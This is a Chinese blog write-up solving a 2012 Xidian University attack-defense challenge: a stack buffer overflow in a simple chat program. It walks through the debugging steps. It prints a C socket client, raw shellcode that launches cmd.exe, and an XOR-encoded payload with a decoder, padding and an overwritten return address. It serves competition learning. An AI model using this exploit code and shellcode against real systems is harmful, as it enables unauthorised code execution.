2012西电攻防溢出第三题题解

这是2012西电攻防溢出第三题,分析挺简单的,就是具体实施时比较麻烦。

 

以下是题目要求:

 

1、  Exploit.exe程序是一个简易的网络聊天工具;

2、  该程序在接收字符串没有进行边界检查,存在缓冲区溢出漏洞;

3、  请你找出bug,并尝试exploit,以打开cmd.exe为成功;

4、  需要简要文字叙述;

5.、提交格式可参考附件。

 

打开如图:


即可做客户端,也可做服务器。

首先打开两个程序,一个做客户端,一个做服务器,IP都设为127.00.1,端口4000不变,然后客户端向服务端随意发送长数据,试了几次没有错误发生,看来这个溢出需要很长的数据,事实上也确实是这样。

打开OD,因为这是个聊天软件,就需要找recv或recvfrom函数,用IDA查找

双击recv函数,找到调用该函数的地址

记下00422c7e这个地址,然后在OD中查找改地址。


在该地址处设断点,然后运行程序,设为服务端,其他设置照旧。

然后用我自己的一个tcp客户端程序随便输入数据测试。

#include <winsock2.h>

#include <stdio.h>

#pragma comment(lib,"wsock32.lib")

 

#define BUF_SIZE 10001

WSADATA        wsd;

SOCKET         sHost;           //服务器套接字

SOCKADDR_IN    servAddr;        //服务器地址

int            retVal;          //返回值

int main(int argc, char* argv[])

{

       charbuf[BUF_SIZE]=

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "11111111111111111111111111111111111111111111111111111111112222";

       FILE *p=NULL;

   char fname[]="shell2";

       //①初始化套接字动态库

       if(WSAStartup(MAKEWORD(2,2),&wsd) != 0)

       {

              printf("WSAStartupfailed!\n");

 return -1; 

 }

 //②创建套接字

 sHost =socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 if(INVALID_SOCKET == sHost)

 {

 printf("socket failed!\n");

 WSACleanup();

 return -1;

 }

 //③连接服务器

 servAddr.sin_family = AF_INET;

 servAddr.sin_addr.s_addr =inet_addr("127.0.0.1");

 servAddr.sin_port = htons(4000); //第二题为6000,第6题为7777

 intnServAddLen = sizeof(servAddr);

 retVal = connect(sHost,(LPSOCKADDR)&servAddr, nServAddLen );

 if(SOCKET_ERROR == retVal)

 {

 printf("connect failed!\n");

 closesocket(sHost);

 WSACleanup();

 return -1;

 }

 //④发送数据

 while (1)

 {

        retVal = send(sHost, buf, strlen(buf), 0); //发送数据

        if(SOCKET_ERROR == retVal)

        {

               printf("send failed!\n");

               closesocket(sHost);

               WSACleanup();

               return -1;

        }

        ZeroMemory(buf,BUF_SIZE);

        retVal = recv(sHost, buf, BUF_SIZE, 0);

        if(SOCKET_ERROR == retVal)

        {

               printf("recv failed!\n");

               closesocket(sHost);

               WSACleanup();

               return -1;

        }

        printf("%s\n",buf);

        ZeroMemory(buf,BUF_SIZE);

    scanf("%s",buf);

}

 //⑤退出

 closesocket(sHost); //关闭socket

 WSACleanup();

return 0;

}

 

程序接收到数据后在断点处断下了,然后F8单步调试走,直到遇到第一个CALL停下,进去看看,

该函数的第一条语句就将堆栈抬升了1000个字节,ESP指向0x18F4A4,显然是存数据的,然后F8走到最后的”retn 0x4”,这时esp是18F88C,正好距18f4a4有1000个字节,而18f4a4中确实存的是输入的数据


这要答案仿佛就出来了,将shellcode的开始部分构造打开CMD功能的机器码,之后填充字符达到1000字节,在最后写入\xA4\xF4\x18,使其跳转到shellcode的开始处,执行打开cmd功能。

我就照着这个思路做,可是当运行到调用LoadLibrary()这个函数时,用到了18F4A4这段栈空间,把我的代码都覆盖了,真蛋疼,然后查看这1000个字节的栈空间中只有18F588到18F5DC这部分没有改变,幸好有这么点空间,还可以变通,于是我就将原shellcode分成两个部分,第一个部分是找LoadLibrary和GetProcAddress的地址,第二部分是调用这些函数,我将第二部分放置在18F588~18F5DC这个区域,以下是编码前的shellcode

char ShellCode[]="\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00\x00\x8B"

"\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33\x75\xF5\x8B"

"\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B\xDF\x8B\x7B\x20"

"\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54\x24\x08\x39\x16\x75"

"\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B\x7B\x24\x03\xF8\x8B\x0C"

"\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C\x03\xF8\x49\xC1\xE1\x02\x8B"

"\x3C\x0F\x03\xC7\x5D\xC2\x08\x00\x68\x72\x6F\x63\x41\x68\x47\x65\x74"

"\x50\xE8\x8A\xFF\xFF\xFF\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64"

"\xE8\x7A\xFF\xFF\xFF\x50\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x68\x6C\x33\x32\x00\x68\x53\x68\x65\x6C\x54"

"\xFF\xD0\x83\xC4\x08\x6A\x41\x68\x63\x75\x74\x65\x68\x6C\x45\x78\x65"

"\x68\x53\x68\x65\x6C\x54\x50\xFF\x54\x24\x1C\x83\xC4\x10\x68\x63\x6D"

"\x64\x00\x8B\xDC\x6A\x00\x68\x6F\x70\x65\x6E\x8B\xCC\x6A\x01\x6A\x00"

"\x6A\x00\x53\x51\x6A\x00\xFF\xD0";

 

然后编码,再加上解码指令,填充字符,关键字符跳转如下

charbuf[BUF_SIZE]=

"\x83\xC0\x14\x8A\x1C\x08\x80\xF3\x95\x88\x1C\x08\x41\x66\x81\xF9\x38\x01\x75\xEF"   //解码器

              "\x7e\xf2\xc0\x1e\x79\xf1\x34\xa5\x95\x95\x95\x1e\xd5\x99\x1e\xd5\x81"

              "\x1e\x95\x1e\xe5\xbd\x15\xeb\x99\xa6\xe0\x60\x1e\xd5\x85\x1e\x6d"

              "\x96\xea\xa9\x1e\xea\xed\x96\x6d\x1e\x4a\x1e\xee\xb5\x96\x6d\xa6"

              "\x5c\x1e\xa1\x1a\x96\x65\xd4\x1e\xc1\xb1\x9d\xac\x83\xe0\x67\x1e"

              "\xc1\xb1\x99\xac\xc3\x91\xe0\x7c\x1e\xee\xb1\x96\x6d\x1e\x99\xda"

              "\x14\x74\x6a\x6a\x95\x95\x1e\xee\x89\x96\x6d\xdc\x54\x74\x97\x1e"

              "\xa9\x9a\x96\x52\xc8\x57\x9d\x95\xfd\xe7\xfa\xf6\xd4\xfd\xd2\xf0"

              "\xe1\xc5\x7d\x1f\x6a\x6a\x6a\xc5\xfd\xd9\xfc\xf7\xe7\xfd\xd9\xfa"

              "\xf4\xf1\x7d\xef\x6a\x6a\x6a\xc5\x05\x05\x05\x05\x05\x05\x05\x05"

              "\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"

              "\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"

              "\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"

              "\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\xfd"

              "\xf9\xa6\xa7\x95\xfd\xc6\xfd\xf0\xf9\xc1\x6a\x45\x16\x51\x9d\xff"

              "\xd4\xfd\xf6\xe0\xe1\xf0\xfd\xf9\xd0\xed\xf0\xfd\xc6\xfd\xf0\xf9"

              "\xc1\xc5\x6a\xc1\xb1\x89\x16\x51\x85\xfd\xf6\xf8\xf1\x95\x1e\x49"

              "\xff\x95\xfd\xfa\xe5\xf0\xfb\x1e\x59\xff\x94\xff\x95\xff\x95\xc6"

              "\xc4\xff\x95\x6a\x45"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "1111111111111111111111111111111111111111111111111111111111111111"

              "11111111111111111111111111111111111111111111111111111111112222"

              "\xA4\xF4\x18";

 

程序解码后如图


运行后如图

成功解出喽!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值